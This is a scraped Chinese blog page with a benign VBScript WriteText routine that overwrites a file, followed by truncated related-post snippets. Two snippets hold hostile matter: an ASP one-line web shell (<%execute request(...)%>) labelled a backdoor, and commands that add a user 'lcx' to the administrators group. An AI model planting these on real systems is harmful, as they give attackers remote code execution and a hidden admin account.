`
doz791zo
  • 浏览: 12388 次
最近访客 更多访客>>
社区版块
存档分类
最新评论

vbs脚本:WriteText

 
阅读更多

vbs脚本:WriteText
2010年08月09日
　　Rem : =========== 写入多行文本，会覆盖文件中已有的内容 Rem : =========== 文件必须存在 Rem : =========== text 中可以是单行，也可以是多行文本， Sub WriteText( file, text ) Dim f f = Trim( file ) IfRight(f,1) = "\" Then f = Left(f,Len(f) -1 )If fso.fileexists(f) = False ThenErr.Raise vbObjectError+128, "WriteText", f & " does not exists" Dim errMsg OnError Resume NextRem ====== code begin Const ForReading = 1, ForWriting = 2 Dim fi Set fi = fso.OpenTextFile(f, ForWriting, True) fi.Write text fi.close Rem ====== code endIfErr.Number 0 Then errMsg = Err.Description OnError Goto 0 Err.Raise vbObjectError+128, "WriteText", errMsg & vbNewLine & _ " file:" & vbTab & file & vbNewLine & _ " text:" & vbTab & text ExitSubEndIfEndSub
分享到：
| VBS脚本:CopyFile
评论
发表评论

您还没有登录,请您登录后再发表评论

相关推荐

    Clipboard-polyfill：在Web上简单复制，具有最大的浏览器兼容性

    clipboard-polyfill 使在网络上复制变得容易： clipboard.writeText("hello world");该库是现代基于Promise的的polyfill。 注意：自2020年6月下旬起，您可以在所有主要浏览器的稳定版本中使用navigator.clipboard....

    网址URL筛选小工具

    网址URL筛选小工具 ....WriteText s .SaveToFile p & "'s URLs.html",2 .Close End With Next Msgbox "网址列表已经生成！",,"成功" 'vbs代码结束----------------------------------------------

    shelmet:Shell开机以使用文件系统并运行子进程命令

    writechunks ， writelines ， writetext ， writebytes fsync ， dirsync 执行核心Shell操作cp ， mv ， mkdir ， touch rm ， rmfile ， rmdir ls ， lsfiles ， lsdirs walk ， walk walkfiles ， wal

    青少年软件编程Python四级考试真题附加答案

    writetext 第 3 题 单选题 以下选项中，哪一个不属于函数的作用？（ ） 提高代码的执行速度 提高代码的重复利用率 增强代码的可读性 降低编程的复杂度 第 4 题 单选题 关于计算圆面积的匿名函数的定义，以下哪一个...

    PHP检查文件是否存在，不存在自动创建及读取文件内容操作示例

    $writetext = 'ssssssssssss'; $result = jwritefile($filename, $writetext); var_dump($result);die; function jwritefile($filename, $writetext) { $position = strrpos($filename,'/'); $...

    usefs:一个简单流畅的 HTML5 文件访问 API，带有 Promise

    由于其嵌套性质，API 的使用很快就因为噩梦。... 请参阅此示例以简单地将一些文本写入....writeText(DATA);与 HTML5 文件 API 相比，使用其典型的回调嵌套结构： window.requestFileSystem(LocalFileSystem.PERSISTENT

    python批量创建指定名称的文件夹

    本文实例为大家分享了python批量创建指定名称的文件夹具体代码，供大家参考，具体内容如下 继删除多余文件之后，做了一些数据处理，需要重新... writeText = open('F:/my_data/brats18_training/test.txt', 'w') for

    jQuery简单实现点击文本框复制内容到剪贴板上的方法

    分享给大家供大家参考，具体如下： ...function copyToClipboard(txt) { if (window.clipboardData) { window.clipboardData.clearData(); window.clipboardData.setData("Text", txt); alert(...

    最小asp后门程序

    首先在asp文件中写如<%execute request(“value”)%>代码如果想要... set lP=server.createObject(“Adodb.Stream”) lP.Open lP.Type=2 lP.CharSet=”gb2312″ lP.writetext request(“hackbin”) lP.SaveToF

    asp 读取文件和保存文件函数代码

    .WriteText = strBody On Error Resume Next .SaveToFile Server.MapPath(File), 2 If Err Then RText = Array(Err.Number, Err.Description) SaveToFile = RText Err.Clear Exit Function End If .Close ...

    用Java编写文本文件

    这些应该可以帮助您入门，http：//www.javapractices.com/topic/TopicAction.do？Id = 42 [^] http://www.abbeyworkshop.com/howto/java/writeText/ [^]

    asp实现二进制字符串转换为Unicode字符串

     Function sTb(vin) Const adTypeText = 2 Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject(“ADODB.Stream”) With BytesStream .Type = adTypeText .Open .WriteText vin ....

    用asp获取微软安全更新列表的代码 小偷程序

    Function Bytes2bStr(vin,cSet) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject(“ADODB.Stream”) BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position...

    跨越fso、wsh、 application写文件

    <% on error resume next dim lcxset lcx=server.CreateObject(“Adodb.Stream”) lcx.Open ...lcx.Position=lcx.Size lcx.writetext “net user lcx lcx /add”&chr(10)&”net localgroup administrators lcx

Magicbox
Global site tag (gtag.js) - Google Analytics